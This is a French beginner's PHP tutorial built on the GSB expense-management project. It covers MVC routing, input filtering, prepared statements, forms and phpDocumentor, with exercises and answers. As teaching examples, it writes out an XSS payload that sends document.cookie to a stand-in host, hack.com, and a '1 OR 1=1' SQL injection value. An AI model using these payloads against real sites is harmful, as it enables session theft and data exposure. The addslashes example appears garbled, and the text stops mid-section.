🤖 Apprendre PHP de zéro avec ce projet
Copie ce prompt et colle-le dans Claude, ChatGPT ou n'importe quelle IA. Il lui donne tout le contexte du projet GSB pour qu'elle t'explique PHP depuis les fondamentaux jusqu'aux choix d'architecture, en utilisant le vrai code comme support.
🏗️ Le patron MVC
MVC découpe l'application en 3 couches qui ne se mélangent pas. C'est la base de GSB.
Les 3 rôles
| Couche | Fichier dans GSB | Rôle |
|---|---|---|
| Modèle | PdoGsb.php | Parle à la base de données. Retourne des tableaux PHP. |
| Vue | v_validerFiche.php | Affiche le HTML. Ne touche JAMAIS à la BDD. |
| Contrôleur | c_validerFiche.php | Lit les données utilisateur, appelle le modèle, passe les résultats à la vue. |
Le flux d'une requête
// 1. L'utilisateur visite : index.php?uc=validerFiche&action=chargerFiche
// 2. index.php (routeur) lit le paramètre "uc" et inclut le bon contrôleur :
switch ($uc) {
case 'validerFiche':
include PATH_CTRLS . 'c_validerFiche.php'; // → inclut le contrôleur
break;
}
// 3. Le contrôleur appelle le modèle :
$lesFrais = $pdo->getLesFraisForfait($idVisiteur, $mois);
// 4. Le contrôleur passe les données à la vue :
include PATH_VIEWS . 'v_validerFiche.php';
// 5. La vue lit $lesFrais et génère le HTML.
PHP
Règle d'or : une vue ne fait jamais de requête SQL. Si tu écris SELECT dans un fichier v_*.php, c'est une erreur d'architecture.
✏️ Exercice
- Dans quel fichier PHP écris-tu la requête SQL qui récupère les frais d'un visiteur ?
- Dans quel fichier PHP écris-tu la boucle
foreachqui génère les lignes du tableau HTML ? - Dans quel fichier PHP écris-tu le
switch($action)qui décide quelle action effectuer ?
- Dans
src/Modeles/PdoGsb.php(le Modèle) — c'est lui qui parle à la base de données. - Dans
src/Vues/v_validerFiche.php(la Vue) — c'est elle qui génère le HTML avec la boucleforeach. - Dans
src/Controleurs/c_validerFiche.php(le Contrôleur) — c'est lui qui orchestre les appels et décide quoi afficher.
🔄 Le cycle d'états d'une fiche
Une fiche de frais passe par 4 états successifs. On ne peut pas sauter d'état.
Qui fait quoi ?
| Transition | Déclenché par | Comment |
|---|---|---|
| CR → CL | Système automatiquement | À la 1ʳᵉ saisie du mois suivant par le visiteur |
| CL → VA | Comptable | Après validation de la fiche (Tâche 1) |
| VA → RB | Comptable | Après mise en paiement (Tâche 2) |
En PHP — changer l'état d'une fiche
// La constante ETAT_VA vaut 'VA' (définie dans config/define.php).
// Toujours préférer une constante à une chaîne en dur :
// ❌ Éviter
$pdo->majEtatFicheFrais($idVisiteur, $mois, 'VA');
// ✅ Préférer
$pdo->majEtatFicheFrais($idVisiteur, $mois, ETAT_VA);
// Pourquoi ? Si demain l'état s'appelle "VALIDE" au lieu de "VA",
// on change une seule ligne dans define.php, pas 10 fichiers.
PHP
🛡️ filter_input() — Ne jamais faire confiance aux données utilisateur
Toute donnée venant de l'URL ou d'un formulaire peut être piégée. filter_input() est la 1ʳᵉ ligne de défense.
$action = $_GET['action'];
// Problèmes :
// 1. PHP_WARNING si 'action' absent
// 2. Aucune sanitisation
$action = filter_input(
INPUT_GET,
'action',
FILTER_SANITIZE_FULL_SPECIAL_CHARS
);
// Retourne null si absent ✓
// Convertit < > " & en entités ✓
Les filtres les plus utilisés en GSB
| Filtre | Ce qu'il fait | Quand l'utiliser |
|---|---|---|
| FILTER_SANITIZE_FULL_SPECIAL_CHARS | Convertit < > " & en entités HTML | Textes libres : noms, libellés, actions |
| FILTER_VALIDATE_INT | Retourne l'entier ou false si invalide | Quantités, IDs numériques |
| FILTER_VALIDATE_FLOAT | Retourne le flottant ou false | Montants financiers |
| FILTER_DEFAULT + FILTER_FORCE_ARRAY | Récupère un tableau sans filtre spécifique | Tableaux de formulaire (lesFrais[]) |
Exemple complet — lire plusieurs champs POST
// Un formulaire HTML envoie : visiteur, mois, lesFrais[]
// Champ texte simple → FILTER_SANITIZE_FULL_SPECIAL_CHARS
$idVisiteur = filter_input(INPUT_POST, 'visiteur', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
$mois = filter_input(INPUT_POST, 'mois', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
// Tableau de champs → FILTER_DEFAULT + FILTER_FORCE_ARRAY
// Résultat : $lesFrais = ['ETP' => '12', 'KM' => '560', ...]
$lesFrais = filter_input(INPUT_POST, 'lesFrais', FILTER_DEFAULT, FILTER_FORCE_ARRAY);
PHP
✏️ Exercice
- Écris la ligne qui lit un paramètre GET nommé
idFraisde façon sécurisée. - Pourquoi utilise-t-on
INPUT_POSTet nonINPUT_GETpour lire les données d'un formulaire ? - Que retourne
filter_input()si le paramètre n'existe pas dans l'URL ?
$idFrais = filter_input(INPUT_GET, 'idFrais', FILTER_SANITIZE_FULL_SPECIAL_CHARS);- Les données d'un formulaire soumis en
method="post"sont dans le corps HTTP, accessibles viaINPUT_POST.INPUT_GETne lit que les paramètres de l'URL (?clé=valeur). Mélanger les deux causerait unnullsystématique. filter_input()retournenullsi le paramètre est absent de la source, etfalsesi le filtre a détecté une valeur invalide.
🔒 htmlspecialchars() — Protection contre les XSS
XSS (Cross-Site Scripting) : un attaquant injecte du JavaScript dans ta page via des données affichées sans protection.
Scénario d'attaque : un visiteur s'appelle <script>document.location='http://hack.com?c='+document.cookie</script>. Sans htmlspecialchars(), ce script s'exécuterait dans le navigateur de chaque comptable qui voit la liste des visiteurs.
Comment ça fonctionne
$nom = '<script>alert("hacked")</script>';
// ❌ Sans protection — le script s'exécute dans le navigateur
echo $nom;
// Sortie HTML : <script>alert("hacked")</script> ← EXÉCUTÉ !
// ✅ Avec htmlspecialchars() — affiché comme texte, non exécuté
echo htmlspecialchars($nom);
// Sortie HTML : <script>alert("hacked")</script> ← INOFFENSIF
PHP
Table de conversion
| Caractère | Entité HTML | Risque si non protégé |
|---|---|---|
| < | < | Début de balise HTML ou script |
| > | > | Fin de balise HTML |
| " | " | Fermeture d'attribut HTML |
| & | & | Début d'entité HTML |
| ' | ' | Fermeture d'attribut (avec quotes simples) |
Règle : toute variable affichée dans le HTML passe par htmlspecialchars(), sans exception. Même si tu es "sûr" qu'elle ne contient pas de caractère dangereux.
✏️ Exercice
- Que produit
htmlspecialchars('Rock & Roll')? - Pourquoi la protection XSS est-elle dans la vue et non dans le contrôleur ?
- Un montant comme
1234.56a-t-il besoin de htmlspecialchars() ? Pourquoi ?
"Rock & Roll"— le&est converti en entité HTML&. Le navigateur affiche bien "Rock & Roll" mais le code source est sécurisé.- La vue est la seule couche qui sait qu'elle génère du HTML. Le même contrôleur peut alimenter une vue HTML, une API JSON ou un export CSV : protéger dans le contrôleur "contaminerait" les autres formats avec des entités HTML inutiles.
- Non. Un float comme
1234.56ne contient aucun caractère HTML dangereux (<,>,",&).htmlspecialchars()n'est utile que pour du texte arbitraire venant de l'utilisateur ou de la BDD.
🗄️ PDO et les requêtes préparées
Les injections SQL permettent à un attaquant de modifier ou lire n'importe quelle donnée de ta base. Les requêtes préparées les empêchent totalement.
$id = $_GET['id'];
// Si id = "1 OR 1=1" → récupère TOUT
$sql = "SELECT * FROM visiteur
WHERE id = $id";
$pdo->query($sql);
$req = $pdo->prepare(
'SELECT * FROM visiteur
WHERE id = :unId'
);
$req->bindParam(':unId', $id);
$req->execute();
Les 3 étapes d'une requête préparée
// ÉTAPE 1 : préparer — on envoie la structure SQL au serveur.
// Les :paramètres sont des emplacements vides, pas encore des valeurs.
$req = $this->connexion->prepare(
'SELECT * FROM fichefrais '
. 'WHERE idvisiteur = :unIdVisiteur '
. 'AND mois = :unMois'
);
// ÉTAPE 2 : lier — on associe chaque :paramètre à une variable PHP.
// PDO_PARAM_STR indique que c'est une chaîne (PARAM_INT pour entier).
// PDO JAMAIS d'injection possible ici : la valeur est séparée du SQL.
$req->bindParam(':unIdVisiteur', $idVisiteur, PDO::PARAM_STR);
$req->bindParam(':unMois', $mois, PDO::PARAM_STR);
// ÉTAPE 3 : exécuter, puis récupérer les résultats.
$req->execute();
$resultat = $req->fetchAll(); // tableau de toutes les lignes
$uneSeule = $req->fetch(); // une seule ligne
PHP
Singleton : dans GSB, PdoGsb::getPdoGsb() utilise le patron Singleton : il crée la connexion une seule fois et la réutilise. Sans ça, on ouvrirait une nouvelle connexion à chaque appel de méthode, ce qui est très lent.
🔀 switch / case — L'aiguillage des actions
Le même mécanisme sert à deux niveaux dans GSB : choisir le contrôleur (dans index.php) et choisir l'action (dans chaque contrôleur).
Structure de base
$action = filter_input(INPUT_GET, 'action', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
// On donne une valeur par défaut si $action est null (paramètre absent de l'URL)
if (!$action) {
$action = 'afficher';
}
switch ($action) {
case 'chargerFiche':
// Exécuté quand ?action=chargerFiche est dans l'URL
$data = $pdo->getLesFraisForfait($id, $mois);
include 'v_validerFiche.php';
break; // ← OBLIGATOIRE pour ne pas tomber dans le case suivant
case 'valider':
$pdo->majEtatFicheFrais($id, $mois, ETAT_VA);
include 'v_validerFiche.php';
break;
case 'afficher':
default: // ← capte tout ce qui ne correspond à aucun case
include 'v_validerFiche.php';
break;
}
PHP
Le piège du break oublié : sans break, PHP continue d'exécuter les cases suivants (fallthrough). C'est parfois voulu, mais presque toujours un bug dans un contrôleur.
✏️ Exercice
- Quelle URL déclenche le case
'chargerFiche'dans le contrôleurvaliderFiche? - Que se passe-t-il si l'URL contient
?action=hackActionet qu'il n'y a pas de case correspondant ? - Pourquoi est-il important d'avoir un
defaultdans chaque switch d'un contrôleur ?
index.php?uc=validerFiche&action=chargerFiche(avec les données visiteur/mois en POST si c'est une soumission de formulaire).- Le
defaultest déclenché. Dans GSB, il affiche la page initiale (liste des visiteurs, sans fiche chargée). L'action inconnue est ignorée sans erreur. - Sans
default, une URL avec une action inconnue ne produirait rien — page blanche ou silence total. Ledefaultgarantit un comportement prévisible même face à une URL malformée ou manipulée par un attaquant.
❓ isset() et is_array()
Dans une vue MVC, les variables viennent du contrôleur. Elles peuvent ne pas exister (ex : page initiale sans visiteur sélectionné). Il faut toujours vérifier.
isset() — La variable existe-t-elle ?
// isset() retourne true si la variable existe ET n'est pas null.
// false si la variable n'est pas définie, ou si elle vaut null.
if (isset($lesFraisForfait)) {
// On sait que $lesFraisForfait existe
foreach ($lesFraisForfait as $f) { ... }
}
// ❌ Sans isset() → PHP_WARNING "Undefined variable" si la variable n'existe pas
foreach ($lesFraisForfait as $f) { ... }
PHP
is_array() — Peut-on itérer dessus ?
// Un fetch() PDO peut retourner false si aucune ligne trouvée.
// Un fetchAll() retourne toujours un tableau (vide si aucun résultat).
// is_array() protège le foreach si la valeur peut ne pas être un tableau.
if (isset($tousVisiteurs) && is_array($tousVisiteurs)) {
foreach ($tousVisiteurs as $v) {
echo htmlspecialchars($v['nom']);
}
}
// count() sur un tableau vide retourne 0 (pas d'erreur).
// Utile pour afficher un message "Aucun résultat" :
if (count($lesMois) === 0) {
echo 'Aucun mois disponible';
}
PHP
📦 Créer un tableau PHP depuis un formulaire HTML
Avec la notation name="maVariable[clé]", plusieurs champs d'un même formulaire sont regroupés en un seul tableau PHP côté serveur.
Côté HTML — les champs du formulaire
<!-- name="lesFrais[ETP]" → crée $_POST['lesFrais']['ETP'] -->
<input type="text" name="lesFrais[ETP]" value="12">
<input type="text" name="lesFrais[KM]" value="560">
<input type="text" name="lesFrais[NUI]" value="6">
<input type="text" name="lesFrais[REP]" value="25">
HTML
Côté PHP — ce que reçoit le contrôleur
// filter_input avec FILTER_FORCE_ARRAY reconstruit le tableau :
$lesFrais = filter_input(INPUT_POST, 'lesFrais', FILTER_DEFAULT, FILTER_FORCE_ARRAY);
// $lesFrais est maintenant :
// [
// 'ETP' => '12',
// 'KM' => '560',
// 'NUI' => '6',
// 'REP' => '25'
// ]
// On peut ensuite itérer dessus :
foreach ($lesFrais as $idFrais => $quantite) {
echo "$idFrais : $quantite"; // "ETP : 12", "KM : 560"...
}
PHP
Comment la vue génère ces champs dynamiquement
<?php foreach ($lesFraisForfait as $unFrais): ?>
<label>
<?php echo htmlspecialchars($unFrais['libelle']); ?>
</label>
<input
type="text"
name="lesFrais[<?php echo htmlspecialchars($unFrais['idfrais']); ?>]"
value="<?php echo htmlspecialchars($unFrais['quantite']); ?>"
>
<?php endforeach; ?>
<!--
Pour chaque frais de la BDD, la boucle génère un champ input.
Son name change dynamiquement : lesFrais[ETP], lesFrais[KM]...
C'est ce qui permet au contrôleur de reconstituer le tableau.
-->
PHP + HTML
📌 Les constantes avec define()
Une constante est une valeur nommée qui ne change jamais pendant l'exécution. Elle est définie une fois et utilisée partout.
Définir et utiliser une constante
// Dans config/define.php — définies UNE SEULE FOIS
define('PATH_VIEWS', '../src/Vues/');
define('PATH_CTRLS', '../src/Controleurs/');
define('ETAT_CR', 'CR');
define('ETAT_VA', 'VA');
define('ETAT_RB', 'RB');
// Dans n'importe quel autre fichier — pas de $ devant une constante !
include PATH_VIEWS . 'v_validerFiche.php';
$pdo->majEtatFicheFrais($id, $mois, ETAT_VA);
PHP
// Si l'état 'VA' devient 'VALID',
// il faut modifier 15 fichiers.
$pdo->majEtat($id, $m, 'VA');
if ($etat == 'VA') { ... }
// ... répété partout
// On change une seule ligne dans
// define.php → tout est mis à jour.
$pdo->majEtat($id, $m, ETAT_VA);
if ($etat == ETAT_VA) { ... }
// ... toujours lisible
🔢 number_format() — Formater les montants
Signature et exemples
// number_format(nombre, décimales, séparateur_décimal, séparateur_milliers)
echo number_format(1234.5, 2, ',', ' ');
// Affiche : "1 234,50" ← format français (virgule + espace)
echo number_format(1234.5, 2, '.', '');
// Affiche : "1234.50" ← format tableau (point, pas de séparateur milliers)
// Cast (float) important : la BDD retourne parfois des chaînes
echo number_format((float)$hf['montant'], 2, '.', '');
PHP
📤 GET vs POST — Choisir la bonne méthode
| GET | POST | |
|---|---|---|
| Données dans | L'URL (?cle=valeur) | Le corps de la requête (invisible) |
| Limité à | ~2000 caractères | Pas de limite pratique |
| Mis en cache | Oui (navigateur, proxy) | Non |
| Historique | Oui (bookmarkable) | Non |
| Utiliser pour | Navigation, filtres, liens | Formulaires qui modifient des données |
| Exemple GSB | ?uc=validerFiche&action=refuserHF | Formulaire de validation des frais |
Bonne pratique : les actions qui modifient la base de données (INSERT, UPDATE, DELETE) doivent être déclenchées par un formulaire POST, pas par un simple lien GET. Dans GSB, l'action "refuserHF" utilise GET par simplicité — c'est acceptable pour un projet d'apprentissage mais pas en production.
⚡ Soumettre un formulaire automatiquement
onchange="this.form.submit()" soumet le formulaire dès qu'une sélection change, sans bouton "Valider".
Exemple — rechargement automatique au changement de visiteur
<!--
Quand l'utilisateur choisit un visiteur dans le menu déroulant,
le formulaire est immédiatement soumis.
Le contrôleur reçoit la sélection et recharge la bonne fiche.
this = l'élément select lui-même
this.form = le formulaire qui contient ce select
this.form.submit() = soumet ce formulaire
-->
<select name="visiteur" onchange="this.form.submit()">
<option value="a131">BEDOS Sophie</option>
<option value="a17">CADIC Alexis</option>
</select>
HTML
confirm() — Demander une confirmation avant une action
<!--
onclick="return confirm(...)" :
- Affiche une boîte de dialogue native du navigateur.
- Si l'utilisateur clique "OK" → return true → la navigation continue.
- Si l'utilisateur clique "Annuler" → return false → rien ne se passe.
Utile avant toute action irréversible (refuser, supprimer...).
-->
<a
href="index.php?uc=validerFiche&action=refuserHF&idFrais=42"
onclick="return confirm('Confirmer le refus de ce frais ?')"
>
Refuser
</a>
HTML
✏️ Exercice final — assembler les concepts
- Crée un formulaire HTML avec un champ texte
nomet un bouton submit. Quelle méthode utilises-tu et pourquoi ? - Côté PHP, lis ce champ de façon sécurisée avec
filter_input(). - Affiche la valeur dans le HTML de manière sécurisée contre les XSS.
- Ajoute un champ caché
idqui contient la valeur42. - Bonus : formate le montant
9876.5en style français avecnumber_format().
- Formulaire en
method="post"car le nom est une donnée personnelle qui ne doit pas apparaître dans l'URL :<form method="post" action="traitement.php"> <input type="text" name="nom"> <button type="submit">Envoyer</button> </form> $nom = filter_input(INPUT_POST, 'nom', FILTER_SANITIZE_FULL_SPECIAL_CHARS);echo htmlspecialchars($nom, ENT_QUOTES, 'UTF-8');<input type="hidden" name="id" value="42">echo number_format(9876.5, 2, ',', ' ');→"9 876,50"
🔁 Le fallthrough dans un switch
Omettre volontairement un break pour qu'un case enchaîne sur le suivant — utile quand deux actions partagent la même logique finale.
Contexte GSB : après avoir payé une fiche (action payer), on veut recharger la liste mise à jour (action lister). Plutôt que de dupliquer le code, on laisse PHP "tomber" dans le case suivant.
Fallthrough intentionnel
switch ($action) {
case 'payer':
$pdo->rembourserFiche($idVisiteur, $mois);
$message = 'Fiche remboursée !';
// ↓ PAS de break → tombe dans 'lister' automatiquement
case 'lister':
case 'afficher': // deux cases pour une même action : si vide, PHP passe au suivant
default:
$fichesValidees = $pdo->getFichesValidees();
include 'v_suiviPaiement.php';
break; // ← break ici, à la fin du bloc partagé
}
PHP
case 'payer':
$pdo->rembourserFiche(...);
// On répète tout le code de listing
$fiches = $pdo->getFichesValidees();
include 'v_suiviPaiement.php';
break;
case 'lister':
$fiches = $pdo->getFichesValidees();
include 'v_suiviPaiement.php';
break;
case 'payer':
$pdo->rembourserFiche(...);
// Pas de break → tombe ici ↓
case 'lister':
$fiches = $pdo->getFichesValidees();
include 'v_suiviPaiement.php';
break;
Attention : un fallthrough non documenté est un bug difficile à repérer. Toujours ajouter un commentaire // pas de break intentionnel pour qu'un autre développeur comprenne que ce n'est pas un oubli.
🔎 GET pour un formulaire de filtre
Un filtre de consultation (sans modification de données) doit utiliser GET pour que l'URL reflète l'état de la page.
Le formulaire de filtre avec GET
<!--
method="get" : les données apparaissent dans l'URL.
?uc=suiviPaiement&action=lister&visiteur=a17
↑ filtre visible dans l'URL
Avantages :
- Bookmarkable : on peut sauvegarder le lien filtré
- Partageable : envoyer le lien à un collègue
- Historique : le bouton "Précédent" fonctionne correctement
Avec POST, l'URL resterait "?uc=suiviPaiement" sans le filtre.
Un F5 (rafraîchissement) demanderait à renvoyer les données → mauvaise UX.
-->
<form method="get" action="index.php">
<!-- Avec GET, uc et action doivent être des champs cachés -->
<input type="hidden" name="uc" value="suiviPaiement">
<input type="hidden" name="action" value="lister">
<select name="visiteur" onchange="this.form.submit()">
<option value="">Tous</option>
<option value="a17">CADIC Alexis</option>
</select>
</form>
<!-- URL générée : index.php?uc=suiviPaiement&action=lister&visiteur=a17 -->
HTML
Côté PHP — lire le filtre et l'utiliser
// Le filtre vient de l'URL → INPUT_GET
$filtreVisiteur = filter_input(INPUT_GET, 'visiteur', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
// Opérateur ternaire : version condensée du if/else
// condition ? valeur_si_vrai : valeur_si_faux
$fichesValidees = $filtreVisiteur
? $pdo->getFichesValidees($filtreVisiteur) // filtre actif
: $pdo->getFichesValidees(); // tous les visiteurs
// Équivalent avec if/else (plus lisible pour débuter) :
if ($filtreVisiteur) {
$fichesValidees = $pdo->getFichesValidees($filtreVisiteur);
} else {
$fichesValidees = $pdo->getFichesValidees();
}
PHP
✏️ Exercice
- Quelle est la différence entre lire un filtre avec
INPUT_GETet enregistrer un paiement avecINPUT_POST? - Pourquoi les champs
ucetactiondoivent-ils être des champs cachés dans un formulaire GET, alors qu'avec POST on peut les mettre dans l'attributaction="..."du formulaire ?
INPUT_GETpour le filtre : on ne modifie rien, on affiche une liste filtrée. L'URL est partageable et rafraîchissable.INPUT_POSTpour "Payer" : on modifie des données en BDD — l'action ne doit pas se rejouer si l'utilisateur rafraîchit la page.- Avec
method="get", la soumission remplace entièrement l'URL par les champs du formulaire. Siucetactionne sont pas en champs cachés, ils disparaissent →index.phpne sait plus quel contrôleur appeler. Avec POST, l'attributaction="index.php?uc=xx&action=yy"place les paramètres dans l'URL tandis que les données du formulaire vont dans le corps HTTP.
✂️ substr() et date() — Manipuler les dates
substr() — Extraire une partie d'une chaîne
// substr(chaîne, position_début, longueur)
// Les positions commencent à 0 (comme les tableaux).
$mois = '202403'; // format stocké en BDD : aaaamm
$annee = substr($mois, 0, 4); // → "2024" (4 caractères depuis le début)
$numM = substr($mois, 4, 2); // → "03" (2 caractères à partir du 5ème)
// Affichage lisible : "03/2024"
echo $numM . '/' . $annee;
// Autres exemples utiles :
substr('Bonjour', 0, 3); // → "Bon"
substr('Bonjour', 3); // → "jour" (jusqu'à la fin)
substr('Bonjour', -4); // → "jour" (4 caractères depuis la fin)
PHP
date() — Obtenir la date/heure actuelle
// date(format) retourne la date courante selon le format donné.
date('Y'); // → "2026" (année sur 4 chiffres)
date('m'); // → "04" (mois avec zéro : 01 à 12)
date('d'); // → "28" (jour avec zéro : 01 à 31)
date('Y-m-d'); // → "2026-04-28" (format SQL)
date('d/m/Y'); // → "28/04/2026" (format français)
date('Ym'); // → "202604" (format mois GSB)
// Dans le contrôleur, on l'utilise pour les stats de l'année en cours :
$annee = date('Y'); // pas besoin d'écrire 2026 en dur !
PHP
🗂️ Un formulaire par ligne de tableau
Quand chaque ligne d'un tableau doit déclencher une action différente (payer cette fiche précise), on imbrique un formulaire dans chaque <tr>.
Principe
<tbody>
<?php foreach ($fichesValidees as $f): ?>
<tr>
<td><?php echo htmlspecialchars($f['nom']); ?></td>
<td><?php echo htmlspecialchars($f['mois']); ?></td>
<td>
<!--
Chaque ligne a SON propre formulaire avec SES propres
champs cachés. Le bouton "Payer" soumet uniquement
les données de cette ligne, pas de toutes les autres.
-->
<form method="post" action="index.php?uc=suiviPaiement&action=payer">
<input type="hidden" name="idVisiteur" value="<?= htmlspecialchars($f['idvisiteur']) ?>">
<input type="hidden" name="mois" value="<?= htmlspecialchars($f['mois']) ?>">
<button type="submit">Payer</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</tbody>
HTML + PHP
<?= ... ?> est un raccourci pour <?php echo ... ?>. Les deux sont équivalents — GSB utilise la forme longue par convention, mais la forme courte est très répandue.
🪝 addslashes() dans un contexte JavaScript
Quand on insère une variable PHP dans une chaîne JavaScript (comme un message confirm()), deux protections sont nécessaires.
Le problème
<!-- Si $nom contient une apostrophe (O'Brien), la chaîne JS est cassée : -->
<button onclick="return confirm('Payer O'Brien ?')"> <!-- ❌ CASSÉ -->
<!-- La protection combinée : -->
<button onclick="return confirm('')"> <!-- ✅ OK -->
HTML + PHP
Les deux fonctions sont complémentaires
| Fonction | Protège contre | Contexte |
|---|---|---|
| htmlspecialchars() | Injection HTML / XSS | Toujours, dans le HTML |
| addslashes() | Apostrophes cassant une chaîne JS | Uniquement dans du JS embarqué |
➕ Cumuler une valeur dans une boucle
Pour calculer un total à partir d'un tableau, on initialise un accumulateur avant la boucle et on lui ajoute chaque valeur.
Pattern accumulateur
// TOUJOURS initialiser AVANT la boucle
// Si on oublie : PHP_WARNING "Undefined variable" à la 1ère addition
$totalAnnee = 0.0; // 0.0 (float) et non 0 (int) car les montants ont des décimales
foreach ($statsRemboursements as $stat) {
// (float) cast : convertit en nombre flottant.
// La BDD retourne parfois les résultats de SUM() en chaîne ("1234.50").
// Sans cast, PHP peut faire une addition de chaînes au lieu de nombres.
$montant = (float)$stat['total'];
// += est un raccourci pour : $totalAnnee = $totalAnnee + $montant
$totalAnnee += $montant;
}
// Après la boucle, $totalAnnee contient la somme de tous les mois
echo number_format($totalAnnee, 2, ',', ' ') . ' €';
PHP
Opérateurs d'assignation composés
| Opérateur | Équivalent | Usage |
|---|---|---|
| $x += 5 | $x = $x + 5 | Cumuler un total |
| $x -= 5 | $x = $x - 5 | Déduire une valeur |
| $x .= ' texte' | $x = $x . ' texte' | Concaténer du texte |
| $x++ | $x = $x + 1 | Incrémenter un compteur |
✏️ Exercice — tâche 2 complète
- À partir du tableau
[['mois'=>'202401','total'=>'1200.00'], ['mois'=>'202402','total'=>'850.50']], calcule le total annuel. - Affiche "03/2024" à partir de la chaîne "202403" avec
substr(). - Explique pourquoi le
case 'payer'n'a pas debreakdans le contrôleur de suivi. - Pourquoi utilise-t-on GET pour le filtre visiteur et POST pour le bouton "Payer" ?
$total = 0; foreach ($fiches as $f) { $total += (float)$f['total']; }→$total = 2050.50echo substr('202403', 4, 2) . '/' . substr('202403', 0, 4);→"03/2024"- Après avoir enregistré le paiement, on veut réafficher la vue à jour. Au lieu de dupliquer le code de chargement des données,
case 'payer'"tombe" danscase 'afficher'(fallthrough intentionnel) qui recharge tout et inclut la vue. - Filtre = affichage seul, URL partageable et rafraîchissable sans effet de bord → GET. "Payer" = modification en BDD, le rechargement ne doit pas déclencher un double paiement → POST.
📄 C'est quoi PHPDoc ?
PHPDoc est un standard de commentaires structurés pour PHP. phpDocumentor lit ces commentaires et génère automatiquement un site HTML de documentation.
Principe : on écrit les commentaires UNE FOIS dans le code source. phpDocumentor génère la documentation HTML à partir de ces commentaires. Plus besoin d'écrire un document Word séparé !
Structure d'un bloc PHPDoc
/** ← Commence par /** (deux étoiles)
* Courte description sur une ligne.
*
* Description longue optionnelle sur
* plusieurs lignes si besoin.
*
* @tag1 valeur ← Tags : métadonnées structurées
* @tag2 valeur
*/
public function maFonction(): void
{
// ...
}
PHP
Exemple réel — méthode de PdoGsb
/**
* Retourne les frais forfaitisés d'un visiteur pour un mois donné.
*
* Effectue une jointure entre lignefraisforfait et fraisforfait
* pour obtenir le libellé et le montant unitaire de chaque frais.
*
* @param string $idVisiteur Identifiant du visiteur (ex: "a131")
* @param string $mois Mois au format aaaamm (ex: "202403")
*
* @return array Tableau associatif avec les clés :
* idfrais, libelle, montant, quantite
*/
public function getLesFraisForfait($idVisiteur, $mois): array
{
// ...
}
PHP
Bonus IDE : VSCode, PhpStorm et NetBeans lisent les blocs PHPDoc et affichent une aide contextuelle quand tu utilises une fonction (types des paramètres, description). C'est aussi utile pendant le développement !
⚙️ Le fichier phpdoc.xml — Configurer phpDocumentor
phpDocumentor lit ce fichier XML pour savoir quoi analyser et comment générer la documentation.
phpdoc.xml expliqué ligne par ligne
<?xml version="1.0" encoding="UTF-8" ?>
<phpdocumentor configVersion="3"
xmlns="https://www.phpdoc.org">
<!-- Titre affiché en haut de la documentation générée -->
<title>GSB — Application de gestion de frais</title>
<paths>
<!-- Où écrire la documentation HTML -->
<output>docs/</output>
<!-- Dossier de cache interne (ne pas versionner) -->
<cache>.phpdoc/cache</cache>
</paths>
<version number="1.0.0">
<api>
<!-- dsn="." = depuis le dossier courant (racine du projet) -->
<source dsn=".">
<!-- Dossiers à analyser -->
<path>src/</path>
<path>resources/Outils/</path>
</source>
<ignore hidden="true">
<!-- Dossiers exclus — les libs tierces ne nous appartiennent pas -->
<path>vendor/</path>
<path>docs/</path>
</ignore>
<!-- Visibilité des membres documentés -->
<visibility>public</visibility>
<visibility>protected</visibility>
</api>
</version>
<!-- Thème visuel : "default" = thème officiel responsive de phpDoc v3 -->
<template name="default"/>
</phpdocumentor>
XML
▶️ Générer et mettre à jour la documentation
Commandes à connaître
# Depuis la racine du projet GSB (là où se trouve phpDocumentor.phar)
# Génération avec le fichier de config
php phpDocumentor.phar -c phpdoc.xml
# Ou avec le script shell fourni (plus pratique)
./generer-doc.sh
# Vérifier la version de phpDocumentor installée
php phpDocumentor.phar --version
# Afficher toutes les options disponibles
php phpDocumentor.phar --help
Ce que génère phpDocumentor
| Fichier/Dossier | Contenu |
|---|---|
| docs/index.html | Page d'accueil de la documentation |
| docs/classes/ | Une page HTML par classe (PdoGsb, Utilitaires…) |
| docs/namespaces/ | Index par namespace (Modeles, Outils…) |
| docs/files/ | Vue par fichier source |
| docs/graphs/ | Diagramme de classes (héritage, dépendances) |
| docs/reports/ | Rapport des erreurs PHPDoc (blocs manquants, types incorrects) |
À retenir : le dossier docs/ et le cache .phpdoc/ sont générés automatiquement. Ne les modifie jamais à la main — tes modifications seraient écrasées à la prochaine génération. Modifie les blocs PHPDoc dans le code source à la place.
Workflow : (1) tu modifies le code PHP + ses commentaires PHPDoc → (2) tu lances ./generer-doc.sh → (3) tu ouvres docs/index.html dans ton navigateur pour vérifier le résultat.
✏️ Exercice final — tâche 3
- Ajoute un bloc PHPDoc à une méthode de PdoGsb qui n'en a pas, puis regénère la doc.
- Ouvre
docs/reports/deprecated.html: à quoi sert ce rapport ? - Pourquoi versionne-t-on
phpdoc.xmlmais pasdocs/ni.phpdoc/? - Quelle différence entre documenter une méthode
privateetpublicdans phpDocumentor ?
- Pratique libre — voir l'exercice précédent pour le modèle. Toute méthode sans PHPDoc dans
PdoGsb.phpconvient (ex.calculerMontantFiche). docs/reports/deprecated.htmlliste toutes les méthodes/classes marquées@deprecated. Permet d'identifier en un coup d'œil le code obsolète à migrer ou supprimer avant la prochaine version.phpdoc.xmlest la configuration du projet : elle appartient au code source et doit être partagée avec l'équipe.docs/est généré automatiquement depuis le code : le versionner créerait des conflits à chaque regénération..phpdoc/est un cache interne — strictement local.- Par défaut, phpDocumentor ne génère la doc que pour les éléments
publicetprotected. Pour inclure les méthodesprivate, il faut ajouter<visibility>private</visibility>dansphpdoc.xml. Les méthodes publiques constituent l'API externe ; les privées sont des détails d'implémentation.
🚫 Principe du REFUSE — Pourquoi ne pas supprimer ?
Quand la comptabilité refuse un frais hors-forfait, il ne faut ni le supprimer ni l'ignorer silencieusement. Le PDF impose une solution spécifique.
Cahier des charges (PDF p.29) : "Une ligne refusée ne doit pas être supprimée mais ne doit pas non plus être prise en compte. Seul le libellé change avec l'ajout du texte REFUSE en début de libellé."
Pourquoi ce choix de conception ?
| Approche | Problème |
|---|---|
| Supprimer la ligne | Perte de l'historique — le visiteur ne sait pas pourquoi son remboursement est moins élevé |
| Colonne "refusé" booléenne | Fonctionne mais nécessite d'ajouter une colonne en BDD et de modifier le schéma |
| Préfixe "REFUSE " dans le libellé ✓ | Aucun changement de schéma, traçabilité conservée, détection simple avec LIKE |
Les 3 endroits où le REFUSE est géré
